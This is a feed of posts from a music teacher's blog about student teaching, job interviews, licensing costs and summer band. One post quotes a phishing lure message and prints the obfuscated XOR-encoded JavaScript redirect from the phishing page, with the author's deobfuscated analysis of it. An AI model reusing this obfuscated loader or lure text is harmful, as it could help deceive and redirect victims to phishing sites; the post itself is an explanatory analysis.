tag:blogger.com,1999:blog-10562914819858929602024-03-13T15:22:17.174-05:00Total Music EducationExploring the different sides of a comprehensive music education and questioning what it means to be musically literate.Greghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.comBlogger32125tag:blogger.com,1999:blog-1056291481985892960.post-27236253341773447432012-05-14T17:55:00.002-05:002012-05-14T17:55:43.058-05:00Laughing at Burn-Out's Pathetic, Ugly FaceAugh! The year! There it went! Did you see it?<br />
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I had to chuckle when I read my last post about not having to change my style or my goals. Yeah, whatever. I stuck to as many of my guns as I could, but if your old tricks aren't getting across to the students, using them doesn't get you far. Details to come.<br />
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Looking back at the end of it, it was a resoundingly successful year. Everyone agrees that our spring concerts were the best that the gym has heard in years, maybe even decades. Details to come.<br />
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I feel like the entire year, I've been toe-to-toe with burnout, sometimes winning, and sometimes losing. This is an enormous job that no amount of student teaching or studying could have possibly prepared me for. Colleagues of mine use the metaphor of a marathon, and the more I think about it, the more I like it. Details to come.<br />
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Also, I've discovered that with a busy-enough work schedule, internet becomes unnecessary. At least, the internet that I can get from school that isn't blocked. Like this site, for example. (surprisingly)<br />
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Next up: prepare for summer marching band camp. Details to come.<br />
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Stay frosty,<br />
-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com1tag:blogger.com,1999:blog-1056291481985892960.post-1355670040633602692011-08-19T00:09:00.004-05:002011-08-19T10:50:43.867-05:00An Encounter With a Trumpeter(or, The Rubber Hits the Road)
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<br />You know that idyllic version of your class? The one where your lessons go smoothly, the students interact kindly, and every moment is teachable? Alas, someday. In the mean time, I ran into a future student of mine. He gave me these well-meant words of guidance:
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<br /><div><ol><li>"We suck." Literally his first piece of "advice."</li><li>"We're rude."</li><li>The equipment is bad. Most of the equipment is old, though they do have a new concert bass drum.</li><li>It's a small program; one of the smallest in the area, percentage-wise.</li><li>I don't remember quite how he said it, but he was talking about the old teacher was cool because she had a lot of down-time at the end of class.</li><li>Student XYZ is going to play teacher's pet.</li></ol><div>
<br /></div></div><div>Keep in mind, these represent his judgement, not mine. For example, number 3: a lot of the older instruments actually play quite well. I've only test-played a selection of brass instruments, but I've sure seen worse. Although, I do feel I shall never know why my predecessor decided to get a second concert bass drum. Oh well.</div><div>
<br /></div><div>Anyway, thinking about this more, I realized that these are the same symptoms of my High School French department. The teacher was a really kind, well-meaning lady who certainly knew her stuff, but cut corners in teaching us students, like showing us movies (with the French subtitles... ooOOoohh!) and having us play games and do partner activities that were weak in reinforcing the concepts. Then, when we switched schedules to have longer periods, the lessons stayed the same with the addition of free time at the end. (cf. #5) So when she copied the tests out of our old and tattered (cf. #3) but still-valid books, we performed poorly (cf. #1) and ended up with an attitude that was less than respectful (cf. #2).</div><div>
<br /></div><div>Now the good news is that I feel like I don't have to change my style or my goals too drastically to fit the needs of this class; I can mostly be myself. These people obviously need to celebrate some small successes. They likely need to invest more time practicing, too; that one might be a hard one to swallow.</div><div>
<br /></div><div>So, I'm mindful of the other French teacher at my school - she taught the upper-level classes and actually treated us like responsible adults, which meant work. After we had gotten used to such low standards, anything else seemed unjust, unfair, and unconstitutional. I'm afraid that if I teach like how I believe I should, I'll alienate most of the already small band. Perhaps my best bet is to not go into it with all guns blazing but instead ease them into higher standards. Something about that feels wrong, though - I can't quite put my finger on it, but I think I don't like the idea of lowering my standards and then randomly springing new ones on them - but it may be my best bet.</div><div>
<br /></div><div>The other, backup good news is that even if this epic-fails, the younger kids won't have these stigmas, and I'm confident they'll perform marvelously.</div><div>
<br /></div><div>'Til next time,</div><div>-Greg</div>Greghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com2tag:blogger.com,1999:blog-1056291481985892960.post-64854611441913114812011-07-30T23:42:00.003-05:002011-07-30T23:51:06.302-05:00Success!I am hired! I start in 3 weeks at a great school in a great town in South Dakota!<div><br /></div><div>Let this encourage those of you who are jobless to keep looking: after I was offered the position, I got a couple more calls for interviews (and one more offer! self esteem +2). So, if you are now where I was last year, don't give up! Keep pushing your resumé around, keep making connections, and if you really are feeling pessimistic, at least put your name in for substitute gigs, especially in small towns; they need subs too, and are often hard-pressed to find them. You could be the go-to substitute for the entire county! Imagine your resume next time around "sought-after by 12 schools on a regular basis" has a nice ring to it, no?</div><div><br /></div><div>Best of luck,</div><div>-Greg</div>Greghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-82726902680136286962011-05-26T09:43:00.003-05:002011-05-26T10:37:25.707-05:00Licenses and food: not (necessarily) mutually exclusiveWhen all you've got paying the bills is a minimum-wage job, $50 can seem like a lot of money, especially in that awkward time after rent and before your first paycheck of the month. And, when you've got some distance from college and stopped regularly writing checks with four or five digits in the "pain box," money gets a whole new scale and scope. The "NASA effect" no longer applies (that is to say, "Oh, we're spending a billion dollars already; what's another million?") and the several hundred dollars you end up spending on a license is no longer dwarfed by tuition.<div><br /></div><div>I'll choose to believe that the licensing institutions' hands are tied when it comes to charging teachers $50 here for fingerprinting and $50 there for background checks and, the one that I understand the least: $30 for mailing $2 worth of paper, envelopes, and postage for an out-of-state license packet that is free and online for in-state graduates. I have to choose to believe that their hands are tied because otherwise, it starts looking like some kind of xenophobic scheme, and this blogger becomes rather cynical. Not to mention that another state requires a full-blown license (as in, not a typical starter, 3-year provisional license that many states use for new teachers) before they ask for over $200 plus other, hidden, miscellaneous expenses. I choose to believe that that one happened because of cautious legislators.</div><div><br /></div><div>So, what's the moral to this story?</div><div><br /></div><div>Plan your finances.</div><div><br /></div><div>I'll say again: Plan. Your. Finances. Dave Ramsey, creator of the <a href="http://www.daveramsey.com/new/baby-steps/">Seven Baby Steps</a>, has a practitioner of those steps build a couple of financial "buffers" for unforeseen expenses. First, a person gathers $1000 for an "emergency fund," which covers medical bills, car repairs, and other things of that sort. Second, he has a person pay off existing debt, and third, he builds a second buffer of 3 to 6 month's of living expenses.</div><div><br /></div><div>I would instead amend this so that there is a step one-and-a-half: <i>build a $500 to $1000 buffer for licenses and interviews.</i> That way, when you find out that you're going to have to shell out another $100 for gas to get to an interview 8 hours away (plus $60 for a hotel, if you want to be able to think during the interview), you won't have to give up meals for the next three weeks.</div><div><br /></div><div>Other things you might not know about getting a teaching license:</div><div><ul><li>Some states require fingerprinting, and that can take 6 or more weeks for law enforcement to process. After that, my home state says it will take another three-or-so weeks to process the application itself.</li><li>Moral: Start early. Very early.</li></ul><div><br /></div></div><div><ul><li>Most states I've seen have different (and usually more expensive) rules for people who graduated in another state. These are called out-of-state or provisional licenses, and they may valid for a shorter period of time, during which a person may have to take other classes or complete other requirements.</li><li>Moral: Do your homework, and do it early.</li></ul><div><br /></div></div><div><ul><li>This also applies to job applications: most places will not take your word that you graduated with these classes, that student teaching, and those grades; they want official transcripts. In fact, I think that every place to which I've applied for anything has wanted an official transcript. They also can take some time to actually get to the people who need them; figure a day or so for the request to go through, a day or so to get processed at your institution, and several days for USPS to their thing. Note: these are business days, between 9 and 5, when the Registrar isn't busy with a hundred other things.</li><li>Moral: Get a bunch. Get more than you need. Seriously. Probably 20. Maybe more, depending on how many schools you apply to. If anything, they stay good (as far as I know?), so keep the extras filed away in case you need more later on. You can just drop the envelope you received it in along with everything else you're mailing to your myriad different schools.</li></ul><div><br /></div></div><div>Happy hunting,</div><div>-Greg</div><div><br /></div><div>P.S.: In other news, the officer who fingerprinted me knew has personally met and chatted with Bob Crane, and personally knows the D.P. for the old Hawaii Five-Oh series.</div>Greghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com1tag:blogger.com,1999:blog-1056291481985892960.post-86183872115471065652011-05-16T08:49:00.004-05:002011-05-16T09:13:15.772-05:007 Interview TipsWahoo! I'm back from a year-long sleeping spell with a promise not to make any more promises on this blog, especially about "going to post something soon." Whoops.<div><br /></div><div>So, I've got an interview! Rock on! Not my first interview ever (Third ever, maybe? Fourth?), but my first music teacher job interview (maybe second if you count summer band, but that was sort of already a done deal). A little advice:</div><div><br /></div><div><ol><li>Don't eat an entire pizza right before going to bed. This is a good piece of advice in general, but it's really not doing me much good right now.</li><li>Do relax before-hand. Right now, I've got about 1 hour before breakfast ends, 2 hours before check-out, and 4 hours before the interview itself. I'm thinking a good long walk and some fresh fruit from the local supermarket will do the trick.</li><li>Do familiarize yourself with the town. Don't go driving around in the dead of night. I was waiting for my pizza and wanted to find the school, but I did feel like kind of a creep; History Channel in my hotel room probably would have been a better option.</li><li>Speaking of hotels, don't get up mega-early, drive 6 hours straight, and then interview. Get a hotel room for the night before, relax, swim if you can, and don't eat an entire pizza. I feel like I made most of the right decisions in this one.</li><li>Do take the easy route to get there and the quick route to come back. I tried taking the quick route to get there and got lost, found my way only to discover a bridge out, got lost again, got found again, and got there an hour-and-some late. Fortunately, because of #4, I still had about 18 hours to burn before I was actually late.</li><li>Do choose good music. As a music-teacher-to-be, you know how powerful a good soundtrack is, so choose tunes to get you in the right mood. If you want, its fun to experiment by putting on different songs for each of the cities you drive through.</li><li>Don't worry. [Do] Be happy. No interview is the end of the world, and no job is the "only" job. If they like you, awesome; if they don't, just take it for the experience of interviewing and move on. No biggie.</li></ol><div><br /></div></div><div>Anyway, time to catch some of that breakfast. Later!</div><div>-Greg</div><div><br /></div><div>P.S.: Do the kids say "no biggie" anymore?</div>Greghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com2tag:blogger.com,1999:blog-1056291481985892960.post-87327995199619192332010-02-15T09:17:00.002-06:002010-02-15T09:26:16.445-06:00Day OffSeeing as today is a holiday and there is no school, the start of my student teaching (for which I am beyond excited!) is delayed a day, and I'm finding myself with a day off. So, teachers out there, what do you do on your days off?<div><br /></div><div>In other news, I'm starting student teaching tomorrow and could not be more excited. I'll be chronicling the experience as best I can here, and hope that it provides some insight for pre-teachers and for teachers hosting their own student teachers.</div><div><br /></div><div>In other other news, I still plan on actually writing the series I announced before. I've got outlines just <i>waiting</i> to be filled out.</div><div><br /></div><div>-Greg</div>Greghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com1tag:blogger.com,1999:blog-1056291481985892960.post-56040880367044367812009-10-04T13:40:00.006-05:002009-10-04T18:57:12.946-05:00Summer and the Start of a SeriesGreeting to all, and a belated happy start to the school year!<br /><br />The past several months found me with another year teaching beginning summer band, which was by far my summer's highlight. I had the rowdiest group of trombones I've ever had, but they did great and learned a lot. I'll tell more tales as time wears on.<br /><br />For the time being, I want to announce a series of posts for people either looking at becoming music education majors or early on in their undergrad. Topics include:<br /><ul><li>Why the piano is important</li><li>What to expect (and not to expect) in your first couple years</li><li>How to stuff 30 hours into a 24-hour day (kind of)</li><li>Why instrumentalists should learn how to sing and vocalists should learn how to play</li><li>How to pass Music Theory I and why that's the hardest class you might take</li></ul>'Til then,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com4tag:blogger.com,1999:blog-1056291481985892960.post-17433013455848265942009-05-28T09:13:00.002-05:002009-05-28T09:58:21.882-05:00Off the CliffI've said before that coming into a vacation can be like those moments in IMAX movies where they have a helicopter going over a cliff - at first, there's ground rushing underneath you, but then when it goes over the edge, "FOOSH!" You're flying, the panorama stretches out before you, and there's hundreds of feet of nothing below you.<br /><br />Finals finished several weeks ago, and I'm finally getting over the feeling of having nothing beneath my feet. Thankfully, I've survived this one pretty well; there have been times in the past where, in going over the cliff, I tripped and faceplanted in the scenery below, so to speak, but I've had to hit the ground running this time for a number of reasons.<br /><br />First, housing has been keeping me on my toes; due to circumstances out of my control, I found myself in the situation of having five days to find a place to live for the next 12+ months (this was during finals week, by the way), but because I put out so many feelers, I've become somewhat of a real estate agent for other people in my situation. Since everyone I'm working with is a friend, or at least a good acquantence, it's rewarding to know that good people are getting good prices for good housing and good roommates.<br /><br />Second, reentry into real life has been mitigated by the fact that I'm working three jobs this summer. More on this in another post.<br /><br />Finally, I'm living on my own now! I've got a nice apartment in a nice neighborhood, and even having to cook for one's self keeps a person connected to reality and unable to just slip into a post-finals catharsis.<br /><br />So, I'm back in the game, and I've already got a bunch of posts that I'm excited to post and share with the community. Major congradulations to <a href="http://www.scouter.com/forums/viewThread.asp?threadID=216537">this</a> <a href="http://musicedforall.weebly.com/index.html">year's</a> <a href="http://www.cord.edu/dept/news/band/Winter08_09/feature10.php">graduates</a>, sure to do great things in their futures; I'm honored to know you all.<br /><br />'Til next time,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-26985881786843632932009-03-18T23:48:00.004-05:002009-03-18T23:54:50.709-05:00I know college kids need energy...I just finished a recording session, number 5 out of 6 for the band this year, and as I was walking back to my dorm, I happened to see something through someone's window. The scene was this: two guys, sitting at their respective desks, looking like they were in for a long night of paper-writing or study. One guy is on his computer, and the other is (<a href="http://www.davebarry.com/">and I am not making this up</a>) drinking honey out of the bottle.<br /><br />Well, that's one way to pull an all-nighter without caffeine.Greghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com2tag:blogger.com,1999:blog-1056291481985892960.post-40887886415629796292009-03-13T16:39:00.003-05:002009-03-13T16:52:28.449-05:00Second-Graders, Teachers, and Rock BandsI picked this up on the ASCD SmartBrief today - <a href="http://hosted.ap.org/dynamic/stories/M/ME_2ND_GRADE_TWITTERING_MEOL-?SITE=RIPRJ&SECTION=HOME&TEMPLATE=DEFAULT">an article</a> on second-grade classrooms using Twitter. Two thoughts jumped into my head right away: first, my teachers always encouraged us to "write long." I know that I may tend to do this too much in my blog posts, but have you ever tried limiting an idea or two to 140 characters? It's tough! Second, I'll bet you dinner that if those kids thought Twitter was "cool" or "hip" to begin with, they sure don't now. Imagine this scenario:<br /><br />Guy: I've been working out...<br />Girl: Ooh!<br />Guy: ... for gym class.<br />Girl: Oh...<br /><br />Magically, the mention of class, a teacher, or an adult makes the once-cool action remarkably less so, and I wonder if rock band classes have the same effect. I know that this isn't always the case - in high school, we <span style="font-style: italic;">loved</span> when our director would jam with us after school - but showing kids that adults are okay with the internet almost seems like the best way to turn kids off from the idea.<br /><br />Happy weekend,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-66217103812539972842009-02-02T23:31:00.000-06:002009-02-02T11:00:42.971-06:00Reflection in Music EngineeringI have about a month left to finish my work on <a href="http://www4.cord.edu/student/cbeat/index.html">Concordia's Beat</a>, which, now that everyone's been recorded, involves the mixing and mastering all 14 groups. I've already made seven pretty good rough mixes, and hopefully, the patch bay I installed this weekend will help with the other half.<br /><br />As part of this, I went and revisited some old mixes I had made as I was first recording these tracks and was surprised at how much I had learned in just these last couple months. I was using compressors and limiters in very strange ways, I wasn't using the better of the plugins we have, I was cranking the gain in odd places, and overall, I was complicating the overall work flow. Not surprisingly, simplifying that made for an overall better sound - punchier and more natural.<br /><br />I've also been happily using an old Aphex Aural Exciter that the project supervisor found at <a href="http://www.marmusicmn.com/">a local music store</a> for cheap. The difference in my mixes when I use it right is like listening to a group live or with my coat over my head. I'll have to post some before-and-after demos some time.<br /><br />'Til then,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-88242883432437119902008-12-31T13:13:00.003-06:002009-01-03T00:05:59.724-06:00Semester Five of a Music Ed Student: Part IIIn the past, I've had the nasty habit of holding this pattern : waste time in the beginning of the year and become overloaded with stress towards the end. This year was the end of that! Or, rather, the beginning of the end of that - this habit, like any, will take time to develop.<br /><br />So what did I do to cut my stress? First, I got as far ahead as I could in all my classes and other responsibilities right off the bat. This was a <span style="font-style: italic;">huge</span> blessing with my Counterpoint class; it's known for being a real beast and for people pulling long, difficult hours on their projects, but in reality, we were given plenty of time to do everything so long as we don't start the day before it's due. (Funny how that works out, isn't it?) My main goal was to finish, or at least get the best head of steam I could, on everything on the day it's assigned. All too often, the average college kid will begin something the day (or night) before it's due, so since it can be done in a day, I put it on the front end and thus spread out, minimized, and managed my stress, avoiding <span style="font-style: italic;">dis</span>tress and maintaining <span style="font-style: italic;">eu</span>stress. Basic when it comes down to it, yes, but it really works.<br /><br />Secondly, I <a href="http://www.soyouwanttoteach.com/15-tips-to-stay-positive/">took some advice</a> and avoided the "teacher's lounge." In the music building, there are a set of flesh magnets called "the couches" that are kind of like the monkey bars: it's where all the cool kids hang out. It also happens to be the best place to get swamped in gossip and the worst place to be productive. Nothing against the couch-dwellers themselves, cool people in their own right, but when I stopped spending time there, I was more productive and more positive. More out of the social loop? Sure, but gossip won't help you with finals.<br /><br />Finally, I dedicated time for sleep. I set hard limits for when I would make myself turn in, hard limits for how early I could get up, and tried to get no fewer than 7 hours of sleep. Many college students would wonder at the potential for so much sleep every night, but I found that if I made that a priority, other things just worked out around it. The flaw in this plan was that a series of concerts and tours put the people in both band and orchestra about two weeks behind in our classes going into finals, so I spent some late nights getting work done, but boy, could I tell the difference! I don't know how I had gotten this far on such little sleep, because seeing the difference back-to-back really made it that much more obvious that good sleep can be just as important as good study. The trick is <a href="http://www.biblegateway.com/passage/?search=proverbs%2020:13&version=31">finding</a> the <a href="http://www.biblegateway.com/passage/?book_id=2&chapter=20&verse=10&version=31&context=verse">balance</a>. (As an aside, I tried working my butt off for six days and doing squat-nothing on Sunday aside from Church, and I found that that's not enough time off; my body can't unwind that much in a healthy way in only a day. A lighter load overall really does the trick, plus an easy-going-but-still-productive Saturday to complement the God-family-and-friend-oriented Sunday)<br /><br />For those in or just entering college : your mileage may vary, but I hope this helps.<br />For those of you working types, I'm curious : does reading this prove to you that 18-to-20-somethings are more alike or different than "in the day?"<br /><br />Thanks, and a belated happy new year!<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com4tag:blogger.com,1999:blog-1056291481985892960.post-1273701951753665912008-12-26T10:59:00.001-06:002008-12-26T11:35:52.006-06:00Semester Five of a Music Ed Student: Part IThis by far was my strangest semester - Three of my classes took the last month off, and I had five juries. Let me explain:<br /><br />Juries first: my major and minor instruments each had one (trombone and organ, respectively), I had a jury for my percussion methods class, I accompanied someone's jury, and I had a conducting final. (sure, these last two might not really count as juries, but the conducting was for a grade, and the accompaniment was during an official jury time)<br /><br />Now, the three classes that took the month off were two education classes and a counterpoint class. For Counterpoint, the month was to be spend composing a two-part Bach invention that followed a long set of guidelines and, naturally, followed all the rules of eighteenth-century counterpoint.<br /><br />The ed classes, however, require some explanation to make my next point.<br /><ul><li>Students were to log all their clinical hours during the semester, and the scheduling would have to work around their already-existing classes</li><li>The instrumental methods course was one block long. That means that everything about how to teach band <span style="font-style: italic;">and</span> orchestra <span style="font-style: italic;">and</span> jazz band, marching band, and everything else, in half a semester.</li></ul>The new system proved to be much more accommodating to the needs of your average college student:<br /><ul><li>Half of the clinical hours are done in the summer; nonetheless, most people I talked to actually logged two to three times the required ammount for various reasons.</li><li>For the remaining hours, the last month is set aside not only to give the students some breathing room in their schedule, but also to go more in-depth with planning for and following through with instruction</li><li>The instrumental methods course was expanded to a whole semester, to allow not only for that last month, but also to spend more time on everything, to talk about music ed advocacy and to write a personal philosophy of music education, and to give more time for all this information to sink in.</li></ul>The moral to all of this, for all the teacher educators and all those in charge of scheduling, is that the best gift you can give a music ed student is the gift of time. This post is dedicated to the people responsible for making this transition possible; my hat goes off to you.<br /><br />A restful break to everyone, and best wishes for this next semester,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-31404536399207782992008-12-25T00:22:00.000-06:002008-12-26T10:57:58.662-06:00Merry Christmas!Whether you don't yet know or you just need a reminder, I refer you all to a short kid with a blue blanket.<br /><br /><a href="http://www.youtube.com/watch?v=DKk9rv2hUfA">http://www.youtube.com/watch?v=DKk9rv2hUfA</a><br /><br />Merry Christmas, everyone. May your travels be safe and your time blessed.<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-31941521776004401782008-12-19T11:36:00.000-06:002008-12-19T12:58:20.990-06:00Fall Semester RecapWow, this has been a wild ride. The semester has flown by, and possibly been one of the busiest yet.<br /><br />Some notable aspects of these past 4 months that I hope to cover in posts to come:<br /><ul><li>Out of all my classes, I didn't have any finals.</li><li>Out of all my classes, three of them took the last month off to work on large projects</li><li>I had five juries</li><li>I wore a unit plan on composing electronic music that I hope to revise and see used with a friend who is teaching in the Fargo public schools<br /></li><li>I changed how I work</li><li>I stopped sitting at "The Couches"<br /></li><li>I have become a better recording engineer</li></ul>What I'm planning on doing this Christmas break:<br /><ul><li>Do lots of cross-country skiing</li><li>Spend time with my brothers<br /></li><li>Write music</li><li>Blog</li><li>RELAX!!!<br /></li></ul>And I have these coming at me this next semester:<br /><ul><li>Becoming a better studio engineer</li><li>My first academic course (in the traditional sense) since perhaps freshman year</li><li>A semester of percussion lessons to reinforce and expand what I learned in my percussion methods class</li><li>The last semester for many of my very good friends; I'll miss them more than I can say</li></ul>In the mean time, it's time to get a late lunch and do some of that relaxing I was talking about.<br />Merry Christmas,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-10446538420656166302008-09-18T00:53:00.000-05:002008-09-18T01:06:05.513-05:00Beans in my DrumsticksReally, I think there are jumping beans in the tips of my drumsticks; they won't stay still! I'm in a brass and percussion methods class that meets four days a week, essentially two days brass and two days percussion. Anyhow, we're working on rudiments and sticking right now, having gone through all the pitched percussion instruments in, oh, a week, and there's never a time where I don't want to play. That is to say, I <span style="font-weight:bold;">always<span style="font-style:italic;"></span></span> want to do something! Sound like any percussionists you know? Sound like your whole percussion section?<br /><br />Anecdote : I taught a day of percussion this summer because we were down a teacher. They were playing wipe-out, and I was trying to get them to understand that if they practice the solo slowly, they'll be better when they speed up. You can imagine how a bunch of 6th-graders took that. :)<br /><br />The funny thing is, though, my whole class is like this. Even in brass methods, these fine college musicians lost all sense of basic things like rhythm when they got a trumpet in their hands. It was like we were all 5th-graders again.<br /><br />This has really got me thinking about how much we criticize our beginning students for doing things out of turn or for making annoying noises; the fact of the matter is this : it's a lot of fun to make new noises, whether you're 10 or 100. I know that it's a matter of courtesy for people around you and for the general good of the order that we restrain ourselves, but gol, it's fun to just play around.<br /><br />I'll write more about this insane semester when I get a chance.<br />Peace out,<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-83704444867403118112008-08-12T02:26:00.000-05:002008-08-12T18:28:23.652-05:00What's your secret?Returning to this blog's founding idea of being "comprehensive" or "total," I wanted to reflect on a thought, share a story, and ask a question.<br /><br />Tell me if I'm off-base...<br /><br />Teachers often get put into boxes. If you have a math problem, you ask the math teacher. If you have a question about history, you ask the history teacher. If you want music, you ask the music teacher. But teachers don't end at their subjects; simply through living, people tend toward diversity of interests and abilities, and those often go unsung because the subject never really comes up.<br /><br /><hr width=30%><br /><br />Storytime...<br /><br />Before I wanted to be a music teacher, I wanted to be a software engineer, and the decision to switch is another post altogether. Anyway, when I got this message the other day, I had to figure out what was up:<br /><br /><hr width=30 align=left><blockquote><br />Hey ;) You have a secret crush.<br />Can you guess who it is??<br />Go Here to find out:<br />http://<i>insert prefix here</i>.blogspot.com</blockquote><hr width=30 align=left><br /><br />The URL naturally went to a phishing site, and the person from whom I got this had had her account compromised, and this was spread to the top half of her contact list, each person with their own prefix in the URL (just some junk characters).<br /><br />Now, since a blogspot.com address led to a phishing site, there must have been some trickery going on to the tune of redirection. To see where to and what else was happening, I needed to get at the page source for that blogspot page, but since it redirected me, I had to use "curl" (would have used "wget" if I was on linux; I like it better than curl) to dump the page's HTML to my <a href="http://www.bashcookbook.com/">terminal</a>. Turns out there was a block of javascript code that looked like total garbage...<br /><br /><hr width=30 align=left><blockquote>var wevoswe='rhsjluaenoakbkewrt',mneuf='aqvngcwnsjhc',rbgmtdy=0,frlbdef,lsqato,shucocy='%',<br />ugvqrj='rjweepocopg',hjsvwhe='4e1b101805051545020e0f0c170a02124f563809050b3f16130c1e1b4<br />35515020b131d035c1c1c1a42190e060f1b08040c450d0517125248534a4c5541455348091f161b5f585d15<br />101b050e0a115952400c0e064550595801170001031e52',lnmxsi=wevoswe.length,llhix='sodjlhmmu',<br />vnxkjbo=hjsvwhe.length,lsqato='',elyuimo,riflms,xqulosji,jrsqpbkq,cykogimg;<br />for(frlbdef=0;frlbdef<vnxkjbo;frlbdef+=2){jrsqpbkq=unescape(shucocy+hjsvwhe.<br />substr(frlbdef,2));elyuimo=jrsqpbkq.charCodeAt(cykogimg);mneuf=ugvqrj+llhix;<br />riflms=wevoswe.charCodeAt(rbgmtdy++);ugvqrj=mneuf+wevoswe;xqulosji=elyuimo^riflms;<br />lsqato+= String.fromCharCode(xqulosji);if(rbgmtdy>=lnmxsi)rbgmtdy=0;}<br />document.write(lsqato);<br /></blockquote><hr width=30 align=left><br /><br />Basically, it's been scrambled. The variable names have been obscured so as to not give hints of what's going on, and it's made to look as unreadable as possible. After some work in VI, though, it came to look like...<br /><hr width=30 align=left><br /><blockquote>var w='rhsjluaenoakbkewrt', // a "key" for a lewis-carroll-like cipher<br /> lenW=w.length,<br /> rb=0, // an index through var. w<br /> i, // iterator for a loop<br /> doc, // document to write at the end<br /> percent='%', // something to hold the escape character<br /> m='aqvngcwnsjhc', // why is this even getting initialized?<br /> str='rjweepocopg', // does this do anything? red herring?<br /> str2='sodjlhmmu', // does this do anything? red herring?<br /> long='4e1b101805051545020e0f0c170a02124f563809050b3f16130c1e1b435515020b131d035c1<br />c1c1a42190e060f1b08040c450d0517125248534a4c5541455348091f161b5f585d15101b050e0a11<br />5952400c0e064550595801170001031e52',<br /> longLen=long.length,<br /> doc='', // initialize blank document?<br /> base,<br /> power,<br /> bignumber, // big number to be catted to document? - actually, no<br /> tmpchar,<br /> useless; // never initialized, just used... default=0?<br /><br />for(i=0;i<longLen;i+=2) // work our way through 'long' 2 chars at a time<br />{<br /> tmpchar=unescape(percent+long.substr(i,2)); // decode every two chars<br /> base=tmpchar.charCodeAt(useless); // get unicode of tmpchar<br /> m=str+str2; // concatenate? red herring?<br /> power=w.charCodeAt(rb++); // get unicode of w<br /> str=m+w; // concatonate? red herring?<br /> bignumber=base^power; // bitwise operator?<br /> doc+= String.fromCharCode(bignumber); // decode from unicode<br /> if(rb>=lenW)rb=0; // reset counter for shorter 'key' string<br />} // for<br /><br />document.write(doc); // write it to where?</blockquote><hr width=30 align=left><br /><br />Sorry, I lost the indenting... I don't think blogger lets you keep it.<br /><br />I've worked with C and Java, but not Javascript, so there were some places where I was a bit confused, but it's basically a way to decode a string and make the browser deal with it. What happens, if you don't want to look through the comments, is it starts with a key and a code, <span style="font-style:italic;">w</span> and <span style="font-style:italic;">long</span> respectively. The code is actually a bunch of hex escape codes with the delimiters taken out, so the first step is to decode those and turn them into letters. Then, a character is taken from the key, matched up with the corresponding letter in the code, and an operation is done on them to get the real letter. The fact that it uses a passphrase and not just a constant value as a key reminds me of <a href="http://en.wikipedia.org/wiki/Polyalphabetic_cipher">polyalphabetic ciphers</a> like the <a href="http://en.wikipedia.org/wiki/The_Alphabet_Cipher">Lewis Carroll cipher</a>, as my Dad will likely remember it from the science fair project on codes and ciphers from my early elementary school days. Anyway, I'm pretty sure the operator is a <a href="http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Operators:Bitwise_Operators#.5E_.28Bitwise_XOR.29"><br />bitwise xor operator</a> and not an exponent function, but in the end, you get your message.<br /><br />And what is this message? It turns out that what it gives the browser (because document.print() prints to the main frame, I think) is a small script to redirect the browser to another website. What was going on on that other website, though, will stay a mystery because before I could get back and grab the html from it, someone had taken it down and it just forwards to a 404 page for what sounds like the hosting server for a bunch of phishing scams.<br /><br />The hunt ended there, but it was fun to try my hand again at code hacking. The last time I did anything like this, it was a port over to my old Mac LC-something, redoing the save system and getting rid of all the myriad gotos and parallel arrays in a really fun game done in C by Griffin Knodle called "Bad King," an early project of his. But getting those neurons firing again was just like getting back on an old bike; the syntax may have changed a little, but the process itself never really left me, and it was still as fun as ever.<br /><br /><hr width=30%><br /><br />So now for the question, you who either read all that or skipped down here : what gets put outside your box? What don't people expect you to do? Are you glad you're in this box rather than the other? Do you ever get to use both boxes?<br /><br />Well, I'm back to music history (<a href="http://www.snpp.com/guides/mmmm.html">mmmm... Wagner</a>) until the next phisher tries messing with <span style="font-style:italic;">this</span> band teacher. :)<br />-GregGreghttp://www.blogger.com/profile/17833541930466098683noreply@blogger.com0tag:blogger.com,1999:blog-1056291481985892960.post-60334454232142922722008-07-25T23:12:00.000-05:002008-07-25T23:59:00.053-05:00Week Five and BeyondMy gosh, over already? It seems like we were just getting into the swing of things! The concert went very well; my beginning students <span style="font-style:italic;">nailed</span> their instrument features (way to go, guys!!) and stayed together on the piece we weren't altogether prepared for. My intermediate kids did just fine, the timpani player on the piece I conducted got to play on real, full-size timpani instead of some ancient roto-toms, dynamics were pretty decent, and despite all the hubbub of people moving mid-camp, we did well. My advanced band really gave me a pleasant surprise on a tune called "Jamaican Holiday" by schooling a long-standing trouble spot and doing some killer dynamics; I'm nominating us for best section on the planet. :)<br /><br /><center>What I did well</center><br /><hr width=25%><br />I think I got a much better hold on finding that state of "approachable teacher" rather than a teacher you don't dare go near or person you view more as a buddy and less of an authority. I didn't win over all my students (how often does that really happen, anyway?) but I certainly got many more smiles and many fewer scowls.<br /><br /><center>What I didn't do well</center><br /><hr width=25%><br />I definitely didn't get as far as I would have liked with my beginners. Neither my trumpets nor my trombones got very far in Essential Elements (we had to skip forward to the concert pieces on p. 12), and while it would be easy to say that a third to a half of each group came in not knowing how to read music (so they claimed - I could have sworn they learned this in classroom music), I'd still say that it's largely my fault for not having gotten them through to that point.<br /><br /><center>What I'll do better next time</center><br /><hr 